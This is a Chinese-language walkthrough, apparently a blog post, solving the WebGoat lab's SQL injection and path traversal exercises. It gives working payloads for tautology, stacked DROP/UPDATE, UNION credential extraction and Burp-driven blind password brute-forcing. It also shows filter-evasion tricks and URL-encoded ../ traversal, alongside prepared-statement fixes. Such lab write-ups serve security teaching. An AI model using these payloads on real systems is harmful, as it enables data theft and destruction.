(A1)Injection

SQL Injection (intro)

这一节介绍一些基本的SQL语言和SQL注入的原理。SQL语法不会的可以去这里学习。这边比较基础的SQL语句就直接放出来了。

Stage 2

1
SELECT * FROM Employees WHERE first_name='Bob' AND last_name='Franco'

Stage 3

1
UPDATE employees SET Department='Sales' WHERE first_name='Tobi' AND last_name='Barnett'

Stage 4

1
ALTER TABLE employees add column phone varchar(20)

Stage 5

1
GRANT ALTER TABLE to UnauthorizedUser

Stage 9

最后拼接后是这样:

1
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

Stage 10

1_stage10

Stage 11

SQL语句加上了单引号,我们也只要合理的加上单引号凑出完整的语句就好了。

Employee Name随便写,TAN填入' or '1'='1即可。

Stage 12

只要用分号再后面再加上一个UPDATE语句就行了,注意最后已经有单引号了(导致高量有些奇怪)。TAN里面写入以下内容。

1
3SL99A';UPDATE employees SET salary=0 where first_name='Tobi' or first_name='Bob

Stage 13

由于DROP语句后面没法把单引号凑成对,把后面注释掉就行了。

1
';DROP TABLE access_log;--

SQL Injection (advanced)

难度升级。。

Stage 3

用UNION命令拉取别的表的内容。

Name填入' or '1'='1' ;SELECT * FROM user_system_data --最后连接的语句就是

1
SELECT * FROM user_data WHERE last_name = '' or '1'='1' ;SELECT * FROM user_system_data --'

或者用UNION,填入' union select 1,user_name,password, '4','5','6',7 from user_system_data --,用'4','5','6',7填补上对应的字段。

1
SELECT * FROM user_data WHERE last_name = '' union select 1,user_name,password, '4','5','6',7 from user_system_data --

Dave的密码只要在返回的数据里找一下就好了(在数据库里直接保存密码明文是非常不安全的)。

Stage 5

在尝试过后,发现登录页面好像没法注入。然后发现注册时,会先查询该用户有没有注册过,比如我先注册了一个名为123的用户,然后再次注册123时会报错,但是我填入123' and '1'='2时就一直可以注册。于是基本就确定是利用注册页面的Username框了。

然后可以开始愉快的盲注了。

  1. 首先用户名填入tom' or password='123,发现没有返回服务器错误,那么就知道了密码所在的列名为password

  2. 用Burp Suite的Intruder将username_reg参数改为 tom' and (length(password)=§10§) --,Payload类型选择为数字从一开始,依次增加,直到返回注册失败,得出密码长度为23。

  3. 再发送tom' and (substr(password,§1§,1)='§2§') --使用Cluster bomb模式。注意,mysql字符串的下标是从1开始的,因此参数一的Payload类型为数字,从1到23。参数二为Brute forcer类型,字符集就填上大小写字母、数字,最大和最小长度都设为1。同时把攻击频率调低一点,防止出现500错误。

  4. 开始攻击。参数都跑完之后过滤出含有注册失败信息的,即含有already exists please try to register with a different username的。可以得到如图的结果:

    盲注tom的密码

  5. 就这些字符按顺序连起来,就得到了最终的密码thisisasecretfortomonly

盲注的返回值相当于只有True和False,因此要想办法让暴力破解不那么暴力。比如这题若是直接跑字典,可能一天也跑不完,但是利用sql的语法,可以一位一位的将密码试出来。

Stage 6

自己做吧。

SQL Injection (mitigation)

这一节介绍如何防止SQL注入。

Stage 5

最终代码如下:

1
2
3
4
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT status FROM users WHERE name= ? AND mail= ?");
ps.setString(1,name);
ps.setString(2,mail);

Stage 6

不太懂它的意思,但随便写写就过了。

1
2
3
4
5
6
7
8
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT * FROM user_table WHERE username = ? ");
ps.setString(1, "pUsername");
ps.execute();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}

Stage 9

题目的要求和SQL Injection (advanced)的Stage 3相同,但是这次不允许输入空格,也很好解决,将空格换成注释行内/**/即可。

1
Smith';SELECT/**/*/**/FROM/**/user_system_data;--

Stage 10

要求和前一题相同,这次不仅不允许有空格,还会把SELECTFROM删掉,我们只要留下一个SELECT让他删,删掉后又组成一个SELECT,比如这样SSELECTELECT

1
Smith';SSELECTELECT/**/*/**/FFROMROM/**/user_system_data;--

Stage 12

通过提示,提交按钮是不能SQL注入的(但是可以爆破啊!不过这样做这题就没有意义了)。然后发现点击表头上的小箭头会发送一个GET请求。那就可以注入了。

可以猜测是一个类似于SELECT * FROM xxxxx ORDER BY [参数]的SQL语句。改一下参数看看会发生什么吧。Stage_12_php_error

如图,直接返回了php的报错信息,仔细分析,发现了实际的SQL语句为select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by [参数]同时得到了表名为servers

可以用when语句进行布尔盲注case when ([bool]) then id else ip end这样如果bool为假就会按ip排序。

  1. 首先先判断ip的长度,替换上面的boolSELECT length(ip)=15 FROM servers where hostname='webgoat-prd',结果是按id排序,因此ip的第一段必定大于等于一百。
  2. 然后可以二分查找,SELECT cast(substr(ip,1,3) as int)>177 FROM servers where hostname='webgoat-prd'为假,逐步缩小范围,最后可以得到ip第一段为104。
  3. 最终答案为104.130.219.202

Path traversal

注入路径,使文件上传到特定位置

Stage 2

随便选一个文件,用户名填../test

Stage 3

这次会直接把../字符串给替换成空,解决方法和和SQL注入时一样,写成..././test

Stage 4

这次Full name字段没法注入了,但是可以抓到POST请求修改,如图path_Stage_4

Stage 5

点击Show random cat picture的按钮,抓包发现没有任何参数,但看到响应的Headers里面有一个Location参数却带了参数。path_Stage_5_location

于是试着加上一个参数id=path-traversal-secret.jpg结果400,看了hints,经过一番尝试后,终于用id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret成功了。这里需要URL编码来绕过对../../的检测。

返回提示说要提交你用户名的SHA-512值,很简单

1
echo -n [你的用户名]|sha512sum

不要忘了-n参数!!!

总结

有用户输入的地方就很有可能有注入,无论是SQL、XSS,还是PWN,都是程序把用户输入当做命令来执行。所以在处理用户输入时要格外小心。而且输入参数检验尽量前后端都放,前端检验虽然防君子不防小人,但可以减少服务器的压力。